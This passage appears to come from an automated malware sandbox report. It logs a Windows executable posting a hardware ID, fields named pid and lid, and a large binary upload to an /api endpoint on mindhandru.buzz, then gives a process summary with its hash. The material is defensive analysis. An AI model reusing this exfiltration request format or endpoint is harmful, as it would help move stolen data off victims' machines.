2024-12-26 11:37:14 UTC	15045	OUT	Data Raw: 2d 2d 32 47 56 56 32 49 53 51 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 37 38 34 35 39 39 30 35 38 46 32 39 41 35 43 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 0d 0a 2d 2d 32 47 56 56 32 49 53 51 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 32 47 56 56 32 49 53 51 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d 2d 32 47 56 56 32 49 53 51 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 Data Ascii: --2GVV2ISQContent-Disposition: form-data; name="hwid"3784599058F29A5CBEBA0C6A975F1733--2GVV2ISQContent-Disposition: form-data; name="pid"2--2GVV2ISQContent-Disposition: form-data; name="lid"PsFKDg--pablo--2GVV2ISQContent-Disposit
2024-12-26 11:37:15 UTC	1127	IN	HTTP/1.1 200 OK Date: Thu, 26 Dec 2024 11:37:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=67qge91l3j88t0pdtpm2qo24li; expires=Mon, 21 Apr 2025 05:23:54 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=VI72M9RNCx7hftwFYdzPi6eUqgcG5PRXzBJWsbRXkfmPkrRtoFBaVmyHxweo1GRtVRFbqcDZOJ8Eoji%2BiQqngHHxNgUZgvmKWJ%2Fp4k8IyIAIFVHIG6zuI208NzQ%2FpUFWwDk%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f80c71c58308c90-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1813&min_rtt=1805&rtt_var=693&sent=12&recv=20&lost=0&retrans=0&sent_bytes=2836&recv_bytes=15974&delivery_rate=1560662&cwnd=201&unsent_bytes=0&cid=c48a19b7d9857ded&ts=849&x=0"
2024-12-26 11:37:15 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-26 11:37:15 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	49716	172.67.165.185	443	6220	C:\Users\user\Desktop\dEugughckk.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-26 11:37:17 UTC	281	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=UCW5FUD15LFGSXPXLX User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 19963 Host: mindhandru.buzz
2024-12-26 11:37:17 UTC	15331	OUT	Data Raw: 2d 2d 55 43 57 35 46 55 44 31 35 4c 46 47 53 58 50 58 4c 58 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 37 38 34 35 39 39 30 35 38 46 32 39 41 35 43 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 0d 0a 2d 2d 55 43 57 35 46 55 44 31 35 4c 46 47 53 58 50 58 4c 58 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 55 43 57 35 46 55 44 31 35 4c 46 47 53 58 50 58 4c 58 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f Data Ascii: --UCW5FUD15LFGSXPXLXContent-Disposition: form-data; name="hwid"3784599058F29A5CBEBA0C6A975F1733--UCW5FUD15LFGSXPXLXContent-Disposition: form-data; name="pid"3--UCW5FUD15LFGSXPXLXContent-Disposition: form-data; name="lid"PsFKDg--pablo
2024-12-26 11:37:17 UTC	4632	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8d 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 d1 e8 b0 32 f0 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8b 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 d1 e8 b0 32 f0 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8d 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 b1 e8 ef fa 6f c5 82 3f 0c fe 4d 70 35 98 09 ee b9 f1 d3 1b 7f 70 e3 5f de a8 de Data Ascii: +?2+?2+?o?Mp5p_
2024-12-26 11:37:18 UTC	1125	IN	HTTP/1.1 200 OK Date: Thu, 26 Dec 2024 11:37:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=hu03d8899hla0euq0ioadhh2k1; expires=Mon, 21 Apr 2025 05:23:56 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=l1zOKB6XinI9tyw8avE5I3wKlVmm0v7I7LQuXvrF%2FTIFd3Owu18TeSlq6kWHGMTcBCtLX6r%2BdfzrBjYBlrhXeyLpjIYX6zih3euxJnmyNzcIC0yXuEhLDeDhOYMiSUUU9oo%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f80c72aec6f5e73-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1735&min_rtt=1729&rtt_var=660&sent=14&recv=24&lost=0&retrans=0&sent_bytes=2838&recv_bytes=20924&delivery_rate=1643218&cwnd=201&unsent_bytes=0&cid=ec4ce70b5948c588&ts=964&x=0"
2024-12-26 11:37:18 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-26 11:37:18 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	49722	172.67.165.185	443	6220	C:\Users\user\Desktop\dEugughckk.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-26 11:37:19 UTC	276	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=Y2LCX0M357SG3U User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1201 Host: mindhandru.buzz
2024-12-26 11:37:19 UTC	1201	OUT	Data Raw: 2d 2d 59 32 4c 43 58 30 4d 33 35 37 53 47 33 55 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 37 38 34 35 39 39 30 35 38 46 32 39 41 35 43 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 0d 0a 2d 2d 59 32 4c 43 58 30 4d 33 35 37 53 47 33 55 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 59 32 4c 43 58 30 4d 33 35 37 53 47 33 55 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d 2d 59 32 4c 43 58 30 4d 33 Data Ascii: --Y2LCX0M357SG3UContent-Disposition: form-data; name="hwid"3784599058F29A5CBEBA0C6A975F1733--Y2LCX0M357SG3UContent-Disposition: form-data; name="pid"1--Y2LCX0M357SG3UContent-Disposition: form-data; name="lid"PsFKDg--pablo--Y2LCX0M3
2024-12-26 11:37:20 UTC	1124	IN	HTTP/1.1 200 OK Date: Thu, 26 Dec 2024 11:37:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=leqhphitgc5uji7boku7rfkce4; expires=Mon, 21 Apr 2025 05:23:59 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=jCWFo88rDy%2F5%2FJcEKeOcX%2FYOIBs5Pf7VjfT11lUkOzI2hBMaQLkmCUCPG9vmADucx8ZDL4Eh9BpfN94pDTKtWrQVgm6QWan9xO2ufghAZikkd0M4tBm5D5fkV6qcBlZiU2Q%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f80c73b2a4843b5-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2275&min_rtt=2267&rtt_var=866&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2837&recv_bytes=2113&delivery_rate=1251607&cwnd=225&unsent_bytes=0&cid=e3501c180b152ab9&ts=802&x=0"
2024-12-26 11:37:20 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-26 11:37:20 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.6	49731	172.67.165.185	443	6220	C:\Users\user\Desktop\dEugughckk.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-26 11:37:22 UTC	278	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=JK9GL8IP68WS8M User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 552239 Host: mindhandru.buzz
2024-12-26 11:37:22 UTC	15331	OUT	Data Raw: 2d 2d 4a 4b 39 47 4c 38 49 50 36 38 57 53 38 4d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 37 38 34 35 39 39 30 35 38 46 32 39 41 35 43 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 0d 0a 2d 2d 4a 4b 39 47 4c 38 49 50 36 38 57 53 38 4d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 4a 4b 39 47 4c 38 49 50 36 38 57 53 38 4d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d 2d 4a 4b 39 47 4c 38 49 50 Data Ascii: --JK9GL8IP68WS8MContent-Disposition: form-data; name="hwid"3784599058F29A5CBEBA0C6A975F1733--JK9GL8IP68WS8MContent-Disposition: form-data; name="pid"1--JK9GL8IP68WS8MContent-Disposition: form-data; name="lid"PsFKDg--pablo--JK9GL8IP
2024-12-26 11:37:22 UTC	15331	OUT	Data Raw: 1b 23 1f b7 0f 48 a6 fd aa 74 1b ae 14 fc f4 16 19 e1 b2 21 62 02 f7 d3 ec 5c 8e 67 d4 9f ac 58 f3 fd b1 a9 d2 0d 96 73 3a cd 14 bf a4 b0 4b bf 78 9b 54 5b 25 b4 17 c0 8d 89 de 84 29 03 29 c1 ab 51 cd d5 9a 88 99 c2 46 68 f3 12 98 45 6e 8d 46 11 3b 5b 1b 84 d5 4f ba 24 65 16 4d fb 65 8d fa 52 ea 1e ae 9c fc 7c 02 24 a7 87 71 a9 cf 41 df b3 22 dd 06 19 f7 c0 02 57 7d ac 1a 7d 56 12 7c 67 97 72 fe 9d 63 ad 5b e9 81 57 bc 4b 7a 65 e0 35 ff a6 62 23 2c 7f 9a 6f 53 53 1e dd a5 05 d7 06 ec 8b 86 18 68 d6 4c 52 ad ce 08 21 df 0e 6c fe 46 99 92 c0 b3 f9 0b 17 d8 cf c7 3a 27 0c 34 bf 29 d7 b3 51 8d db 11 f3 3f cb a6 bc 54 52 4a 69 95 9f 2d db c1 52 68 77 ff bb e3 8c 24 f4 95 fb 1c 67 bd b7 43 af a5 16 06 0b 8a ff ef f6 c9 85 2b cc 89 c3 ca 52 26 20 39 65 7d 85 8b Data Ascii: #Ht!b\gXs:KxT[%))QFhEnF;[O$eMeR\|$qA"W}}V\|grc[WKze5b#,oSShLR!lF:'4)Q?TRJi-Rhw$gC+R& 9e}
2024-12-26 11:37:22 UTC	15331	OUT	Data Raw: 55 1d a1 15 1b ce 96 0c 0d 6a 7d e1 79 52 81 38 10 12 33 fd fd 6b 96 07 70 28 b0 8f 88 e8 23 9e 35 96 f0 10 68 4a a1 62 1e 6e 07 07 09 2e 8c 31 3f ce 85 7d 92 e3 d9 76 cb fd 66 a7 0d 8d 88 bd 72 20 14 62 25 95 df 58 68 1b 32 5e c4 12 15 83 63 34 5a f7 c8 5c 02 16 6f 76 7c e7 0f 4f eb 77 7f 30 6e af dd 30 9a 2e ee b6 7d 6e eb f1 55 63 ba 96 d5 52 fb c6 67 48 43 85 46 c6 c2 dd 83 2c 95 69 46 5e 95 76 35 bd 3e fa 7b 5e d0 bc f3 f4 53 c7 b4 a7 c1 23 d2 e2 6f ac 6c 7d ad b6 6b 6d b6 ae 23 28 a3 b4 c6 4f e2 8e fb de c4 90 da e3 c0 cc 80 62 84 1b 86 01 71 ed 44 a9 ee 73 7d f6 e6 6b 49 d6 2a 58 d2 c5 2d 0c dd 46 83 61 49 00 02 03 fe 05 34 c1 c9 34 0d 7b b0 d4 d0 a2 e2 aa 0d 7e 55 fe 5e 5f 82 c8 3d 98 8a a4 b0 0e a0 87 5b e0 2a 70 fb 17 4d fb 26 42 45 62 8c 06 00 Data Ascii: Uj}yR83kp(#5hJbn.1?}vfr b%Xh2^c4Z\ov\|Ow0n0.}nUcRgHCF,iF^v5>{^S#ol}km#(ObqDs}kIX-FaI44{~U^_=[pM&BEb
2024-12-26 11:37:22 UTC	15331	OUT	Data Raw: d6 bd 2c c4 a1 48 64 cf 25 c5 61 f5 6f 80 b0 97 68 89 79 89 25 7e 99 94 5b e0 06 67 7e 42 4b 5e bb 84 e2 ca b9 a1 1d 22 ac 1f 41 6d 30 d2 13 03 94 fb 4e cc 4d 15 59 ea cd 25 15 ad 22 d1 39 7e f9 65 38 c9 d0 60 e1 1b de ad 54 80 b6 0f 63 dd ff 1d 15 e3 cc cb 9c da c8 3c 9c ff 7a bd bb 15 b8 78 be 95 00 e1 45 a7 c2 97 da f3 7e 65 dc bb d1 c6 b6 ed 14 b0 ed f7 64 cb f6 a4 08 19 27 1b 4d 45 3a 1b 92 64 b2 e4 8b 4a 00 ab 2c f2 a2 2f 6e d3 48 68 61 ba 7c 41 51 e2 94 8c 85 4d 88 27 cf a1 9c 96 09 90 8b cf 8f 47 f0 1b c7 92 66 b7 4f bf d9 c7 a9 45 95 b6 7b 82 67 b4 af 8d d9 b9 41 89 dd 3e 04 6e 3c 57 95 09 57 1a a1 9f d5 d7 44 65 2d 16 1f a2 95 4b b0 14 45 f6 ac 35 3c 22 5e 98 e4 be d3 9a 74 d7 20 48 be 6d ab b7 6f 5b e7 6f a3 50 f7 b3 de 16 53 06 c4 90 f4 33 7e Data Ascii: ,Hd%aohy%~[g~BK^"Am0NMY%"9~e8`Tc<zxE~ed'ME:dJ,/nHha\|AQM'GfOE{gA>n<WWDe-KE5<"^t Hmo[oPS3~
2024-12-26 11:37:22 UTC	15331	OUT	Data Raw: d6 1a 4f 72 87 0d 6a 32 a7 a3 1f d5 21 21 9f 87 67 6e 90 48 ad d7 e6 23 27 7b 25 b4 48 36 24 7a 72 8a 08 5b a4 f6 ec 02 26 e0 b5 7f 04 75 7a cf ec 43 2d 61 53 83 b5 de 9b 82 9b 3b ad bb c7 3b 9d 3b f4 12 41 b0 55 2a cc 56 e6 36 7c 43 24 97 1c 1b b2 70 88 38 da e2 d0 b8 1b 44 e9 4b b5 6e ed 54 9b 53 40 2c eb 42 7f 62 ff f4 4b 1d f0 a3 b7 21 46 95 f3 5e 46 a9 29 36 e1 99 ea a2 2f 4f 72 6c 16 ed 5b a4 3e 93 d4 ae cf fe fc a7 90 9a f1 12 b5 66 fd ae e3 86 65 4a a9 68 7a 7b 43 09 ef 7c 1a 75 ea 8a 5d e2 bc 1f af 21 6f af 54 a0 75 40 24 65 99 b8 ea 55 a2 bf 3d 71 f9 0a ef de d5 aa 81 e0 81 b3 33 b0 df 9d fe 12 8e 79 4e d5 84 f0 14 8c 28 81 7b 93 84 34 08 e8 7f 0f 77 3d 9d 75 46 f2 a0 49 0f da a5 ca a7 56 17 61 da da 9b 03 67 e4 1b f3 5e cf d3 1f 75 28 59 8d 65 Data Ascii: Orj2!!gnH#'{%H6$zr[&uzC-aS;;;AU*V6\|C$p8DKnTS@,BbK!F^F)6/Orl[>feJhz{C\|u]!oTu@$eU=q3yN({4w=uFIVag^u(Ye
2024-12-26 11:37:22 UTC	15331	OUT	Data Raw: ee c1 d1 1b 37 7a 11 80 74 55 eb de 10 e5 98 2a 71 b2 84 4d 61 b6 32 c1 a1 40 16 6c 1d 18 8e 81 72 05 c0 97 ec ae a2 d5 74 48 df 19 b0 c4 49 49 68 54 6e 5a 23 88 95 17 05 f2 7f 5e e2 e4 81 2c 33 f6 c9 cf d8 29 1c 6c d6 8e 03 f9 fa a8 e8 64 2b 03 87 52 a1 c0 a1 88 dc 34 be 68 e4 30 1a 33 6b 5d 43 9b 23 2d d8 c2 8d 3c c4 4e c0 c6 76 1e f8 98 af 51 ed 72 16 79 41 00 fe 65 99 5b 9b 5c 75 89 53 f2 11 7b 9a 2e 2c 76 59 20 e6 fb e8 ce 99 cb cf 2c e5 7b 2f 4c d9 a3 63 79 33 9a a6 d4 4c 59 fd 74 0d cc 7f 5e ab 7b 6f 02 1f fb 01 d1 e4 56 50 37 5b d7 78 cd 65 10 ef 8e 85 37 b2 fb ee b9 1f 18 95 83 23 15 49 67 00 32 c1 2b 2e 06 72 b9 57 fd c6 c6 3e 90 ae 12 49 27 28 14 39 64 17 76 5c 14 c4 1c da 6d 85 27 23 14 95 6a a7 61 bd 8a fa 46 ad e9 20 45 cf 94 37 d6 39 55 13 Data Ascii: 7ztU*qMa2@lrtHIIhTnZ#^,3)ld+R4h03k]C#-<NvQryAe[\uS{.,vY ,{/Lcy3LYt^{oVP7[xe7#Ig2+.rW>I'(9dv\m'#jaF E79U
2024-12-26 11:37:22 UTC	15331	OUT	Data Raw: ac 53 2c bc 82 9a fe 9c 59 29 ca 7d 35 99 44 91 d2 d6 f8 25 aa 5d 90 c0 89 ee fa 36 6f 6c 19 6c 29 08 d6 e6 6a b6 1a bc b2 dc d2 aa 4c 42 29 42 c0 49 4a db 76 f1 03 84 83 e8 3d ff b7 22 34 7c c7 af 2b fc f4 a1 2e 59 a3 fc aa f5 1d c7 4a dd ce 4f 08 2c 6c 15 62 42 ac 89 9b 0d 64 5d 3c b6 08 de a9 3c 67 8a 8b 8c d1 bc 46 24 36 b5 32 ee c1 7e b7 38 d0 fe bf b5 82 b2 12 28 ee fb 44 a3 80 31 5a 15 a2 06 9e a1 bb c0 09 91 54 be ed 6f 63 b4 14 de e4 fd 48 ca e3 29 fc e8 6b ac 4d 66 fa 53 78 38 04 72 f2 f1 5f 44 58 25 80 f1 83 f1 6d 90 1c f8 46 81 0f b1 16 57 3d f5 80 f0 83 59 20 66 4f 2d 69 36 b7 22 04 9f 2f 8b 46 17 72 65 2e c4 0d a8 a7 61 19 04 84 5b 57 50 99 17 4d ce 31 d4 00 95 c8 98 41 17 3f 72 96 e1 dd 37 78 ae 30 09 85 34 df dd a7 84 fe ed 89 37 23 94 73 Data Ascii: S,Y)}5D%]6oll)jLB)BIJv="4\|+.YJO,lbBd]<<gF$62~8(D1ZTocH)kMfSx8r_DX%mFW=Y fO-i6"/Fre.a[WPM1A?r7x047#s
2024-12-26 11:37:22 UTC	15331	OUT	Data Raw: c1 67 db 8e 99 f9 a1 fa ae f3 14 dc 4c 15 f5 8f 90 d9 ae a1 5b 2f ec 0a 0d d8 79 e6 d8 20 2e 6a 58 f4 f7 eb 48 6c 13 8f c3 7a 25 84 eb ee 63 a4 89 07 83 1f d0 c2 a1 31 ab 64 6e c3 14 19 2e 0e c6 1c 17 de c5 62 19 cc e7 7c f3 a2 7f 0f e4 c1 a7 73 6b 38 ef 45 96 b2 ec 13 a9 1a ba 4a 89 de 74 59 9b af 06 dc 12 df 5b b2 c2 12 15 7a 1f db de b6 5a e4 c3 e9 fe e2 26 17 79 77 12 f7 73 c3 e7 e6 e2 46 f4 52 9b bc 42 75 ed 76 d1 b6 d7 49 e2 c7 03 ea f8 48 2a f0 8f 08 56 e5 55 7c 2d c3 e8 10 b1 a5 99 34 46 69 57 e6 12 0b f8 70 fd 17 5d 0c fd 49 37 21 1c 55 c6 c1 3f db d9 29 06 2b 64 6b 64 29 99 43 d4 cc 75 6a 9b 78 8d 0f da 07 88 88 40 17 71 f9 c8 29 a5 f6 54 6c ef aa 6c 7f c4 76 d9 83 80 c5 89 5d f4 d3 48 26 8a 31 72 4d 63 bf 04 f1 fb 73 eb bc 13 85 aa c1 4a 2d fc Data Ascii: gL[/y .jXHlz%c1dn.b\|sk8EJtY[zZ&ywsFRBuvIH*VU\|-4FiWp]I7!U?)+dkd)Cujx@q)Tllv]H&1rMcsJ-
2024-12-26 11:37:22 UTC	15331	OUT	Data Raw: 4a 63 fd 0f 4e 3a ba c0 8b ce 2a 91 53 8d 14 73 97 62 75 d7 68 f5 e1 d6 ad 17 bc a0 71 55 cb de ed 72 91 7b df 13 19 e9 56 16 0f 22 46 ab ee ef 8f 5c c9 23 dc e9 db d8 53 1b 54 6d b3 07 d3 af 6e 8f 27 25 b2 f1 35 e6 0c 22 97 04 93 f3 20 f1 63 ca 2a 25 fb 34 52 d5 72 9a 2c c5 44 44 96 76 6d 6b 74 da a1 16 ad 2d df ba 44 d5 6a 54 49 48 6a b6 22 d7 50 58 64 79 fa a8 38 25 08 2d 94 34 e2 e3 4a e5 a2 22 13 b8 55 df 1d f1 07 bd 44 b7 f1 84 34 26 6d 7b 0e 4b 3f ed a6 7d a2 f2 cf b5 e4 03 70 a8 28 4f 56 7a 4e 69 64 c1 2d 34 a2 03 0d 2f 75 ff a7 f4 8c c1 16 5d e6 e7 bd 37 46 74 41 aa 12 c1 e8 ff 6d 00 5b b7 66 f5 ca 81 f6 07 95 27 fe b9 a4 22 b9 49 f3 85 2d ea 9d 90 e1 f5 4b aa ba 18 66 b1 15 5d 8b 0d 58 ac ac 9b ef b1 21 d4 c1 0d 02 6e d1 50 0c 0e 25 b6 85 6a ff Data Ascii: JcN:SsbuhqUr{V"F\#STmn'%5" c%4Rr,DDvmkt-DjTIHj"PXdy8%-4J"UD4&m{K?}p(OVzNid-4/u]7FtAm[f'"I-Kf]X!nP%j
2024-12-26 11:37:22 UTC	15331	OUT	Data Raw: 55 a6 f4 8e 64 a5 a3 61 54 38 ea 5a 34 5d 96 1b 98 26 ac c3 d1 df be 66 7f 2b a3 07 82 33 e1 bc 41 a6 68 92 7e 23 f4 cc ba 65 a6 b5 1a db af 9e 84 a7 16 6e fa a5 b2 6f d9 11 58 e3 b7 24 76 a9 ca 52 d8 ad ef b1 6c ec 2d b5 00 1b 38 02 15 89 82 95 bf 6c ca 39 4e ba a0 16 e6 30 f0 33 75 3e b1 ef 7b 86 17 34 60 74 c3 7a 03 e1 04 68 78 08 ef db 75 f5 6e 6e ed 7a 30 fb af 4d 0d 9f 8c f4 35 32 d3 24 6c 1b 1c 4d d9 f5 df 94 fb aa 9d c3 ee 02 fb e7 ba e4 48 cb 6e 44 ea af 79 58 02 d1 79 bc 25 2e b4 c6 32 df c5 09 07 0d 3b 63 49 6e 0c 38 7c cf c1 c6 45 91 8e fe af 2f 95 52 b8 da f8 37 3b a8 69 4a 29 ff 5a 6d 1b a8 0c e4 8f 99 67 ba 85 f7 f9 20 5b 6a cb d0 d8 be 7f a8 59 fb 63 7f 92 1a 43 56 d2 23 12 69 ad fb c3 02 76 b8 c3 14 15 99 17 2e f6 6a e1 81 93 b7 d6 42 46 Data Ascii: UdaT8Z4]&f+3Ah~#enoX$vRl-8l9N03u>{4`tzhxunnz0M52$lMHnDyXy%.2;cIn8\|E/R7;iJ)Zmg [jYcCV#iv.jBF
2024-12-26 11:37:24 UTC	1133	IN	HTTP/1.1 200 OK Date: Thu, 26 Dec 2024 11:37:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=0hca492osd2jntldqhk41u3tc9; expires=Mon, 21 Apr 2025 05:24:03 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=qZA45Tf%2FV6OX3lgZiJMJbP5um2gXMzNDok7%2Ffq6jQmQa9d4H3IlDuaUoRb2uXLEsp1%2F6JgmideEjF5OCBMP0nM6554Pg6VR411RIaDA0c0p6vMQC1GLR2IW03BZR1%2FXD3Sc%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f80c74c1bb6726f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1819&min_rtt=1819&rtt_var=682&sent=322&recv=576&lost=0&retrans=0&sent_bytes=2838&recv_bytes=554737&delivery_rate=1605277&cwnd=172&unsent_bytes=0&cid=d6b2ecf5370be44e&ts=2545&x=0"

Target ID:	0
Start time:	06:37:02
Start date:	26/12/2024
Path:	C:\Users\user\Desktop\dEugughckk.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\dEugughckk.exe"
Imagebase:	0xd0000
File size:	1'873'920 bytes
MD5 hash:	DE5663A16524882CEB5A3010B0EC0B1E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

